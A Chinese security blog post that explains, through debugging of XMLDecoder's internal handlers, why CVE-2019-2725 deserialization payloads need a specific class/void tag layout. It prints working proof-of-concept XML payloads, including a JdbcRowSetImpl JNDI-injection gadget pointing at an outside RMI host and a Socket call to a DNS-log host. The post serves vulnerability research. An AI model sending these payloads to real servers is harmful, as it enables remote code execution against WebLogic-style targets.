XMLDecoder 反序列化之 class 标签

在学习 CVE-2019-2725 时看到文章中说构造的 xml 需要在一行才能成功

1
<java><class><string>java.net.Socket</string><void><string>www.dnslog.com</string><int>80</int></void></class></java>

那么为什么需要这样构造呢,这跟calss标签特性有关,我们先来看下在 class 开始标签与 string 开始标签之间换行会怎样

1
2
<java><class>
<string>java.net.Socket</string><void><string>www.baidu.com</string><int>80</int></void></class></java>

这样使用 XMLDecoder 反序列化时会报错找不到这个类

跟踪调试,在解析 class 标签后,会调用com.sun.beans.decoder.DocumentHandler#characters方法,来添加标签中的字符数据

可以看到这里将换行符和空格添加了进去(因为 xml 换行时编辑器会自动进行缩进,所以带了空格,如果把缩进删除,则只添加换行)

解析 string 闭合标签时,会进入com.sun.beans.decoder.ElementHandler#endElement方法中

append 之后就变成了\n java.net.Socket

在解析 void 闭合标签时,会进入到com.sun.beans.decoder.ObjectElementHandler#getValueObject方法,跟进getContextBean()方法

最终会来到com.sun.beans.decoder.ClassElementHandler#getValue方法中,可以很清晰看出为什么会报ClassNotFoundException

那么如果改成如下这样呢?

1
2
<java><class><string>java.net.Socket</string>
<void><string>www.baidu.com</string><int>80</int></void></class></java>

依然会报找不到类的错误

只要保证如下这样就可以了,因为 class 标签只会将其标签下的字符和其直接 string 子标签中的字符添加到与之对应的this.sb

1
2
<java><class><string>java.net.Socket</string><void>
<string>www.baidu.com</string><int>80</int></void></class></java>

那为什么包含类的 string 标签后面一定要添加void标签呢?如果去掉后面的 void 标签,直接跟其他标签行不行?上面的 xml 好理解,如果将 void 标签去掉,那么这些 string 标签中的字符就会直接拼接在一起了,导致成如下这样

那么如果是下面这个 xml 呢?这个也是CVE-2019-2725中用到的一个 poc

1
2
3
4
5
<java><class><string>com.sun.rowset.JdbcRowSetImpl</string><void>
<property name="dataSourceName"><string>rmi://rmi-server/xx</string></property>
<property name="autoCommit"><boolean>true</boolean></property></void>
</class>
</java>

如果将 void 标签去掉,后面直接跟 property 标签呢,这样也杜绝了找不到类的问题

1
2
3
4
<java><class><string>com.sun.rowset.JdbcRowSetImpl</string><property name="dataSourceName"><string>rmi://rmi-server/xx</string></property>
<property name="autoCommit"><boolean>true</boolean></property>
</class>
</java>

结果会报如下错误,简单来说就是在类中找不到 property 标签指定的方法

我们来跟踪调试一下

在解析 property 标签中的第一个 string 闭合标签时先进入com.sun.beans.decoder.ElementHandler#endElement方法

继续往下跟进,进入com.sun.beans.decoder.PropertyElementHandler#setValue方法中,在这里要先调用getContextBean方法,来获取 property 父标签的 value

先跟进com.sun.beans.decoder.ElementHandler#getContextBean

这里会调用com.sun.beans.decoder.StringElementHandler#getValueObject,因为 ClassElementHandler 没有这个方法,所以会调用其父类 StringElementHandler 的 getValueObject 方法,在这里面先调用com.sun.beans.decoder.StringElementHandler#getValue方法查找类,然后返回 this.value

然后回到 getContextBean 方法中,返回 value 值

然后来到com.sun.beans.decoder.PropertyElementHandler#setPropertyValue方法,在getContextBean方法中返回的是个 Class 实例,并不是 JdbcRowSetImpl 类的实例,那么这里再 getClass 获取到的自然就是java.lang.Class

跟进com.sun.beans.decoder.PropertyElementHandler#findSetter方法,该方法就是用来查找指定类与 property 标签中 name 属性值对应的 setter 方法

通过com.sun.beans.decoder.PropertyElementHandler#getProperty方法来进行搜索,这里传入的是java.lang.Class自然不可能查找到setDataSourceName方法

那为什么添加 void 标签后就可以呢,原因在于getValueObject方法的不同,添加后这里 property 标签的父标签就变成了 void

VoidElementHandler 类没有getValueObject方法,所以会调用其间接父类 NewElementHandler 的无参 getValueObject方法,然后在这里又会调用到其直接父类 ObjectElementHandler 的 getValueObject 方法

com.sun.beans.decoder.ObjectElementHandler#getValueObject方法中也是先调用com.sun.beans.decoder.NewElementHandler#getContextBean方法

但是在该方法的下面会通过反射 new 一个 JdbcRowSetImpl 实例

此时在com.sun.beans.decoder.PropertyElementHandler#setPropertyValue方法中 getClass 获得的就是com.sun.rowset.JdbcRowSetImpl类而不是java.lang.Class


XMLDecoder 反序列化之 class 标签
http://www.weijin.ink/2023/08/30/XMLDecoder-反序列化之-class-标签/
作者
未尽
发布于
2023年8月30日
许可协议